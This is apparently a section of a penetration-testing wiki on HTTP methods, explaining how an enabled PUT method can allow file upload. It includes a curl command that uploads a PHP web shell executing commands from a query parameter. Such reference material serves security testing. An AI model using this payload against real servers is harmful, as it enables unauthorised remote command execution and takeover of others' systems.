Editing Making HTTP Requests (section)

== PUT ==

PUT is used to upload or replace resources. When enabled and not restricted, it may allow file upload attacks.

'''Usage Example (upload PHP shell)'''
<pre>
curl -X PUT http://target.site/uploads/shell.php \
 --data '<?php system($_GET["cmd"]); ?>'
</pre>

'''Notes'''
* Rarely enabled on production servers
* Can be used to gain arbitrary file write if not locked down
* Test using OPTIONS method to check for support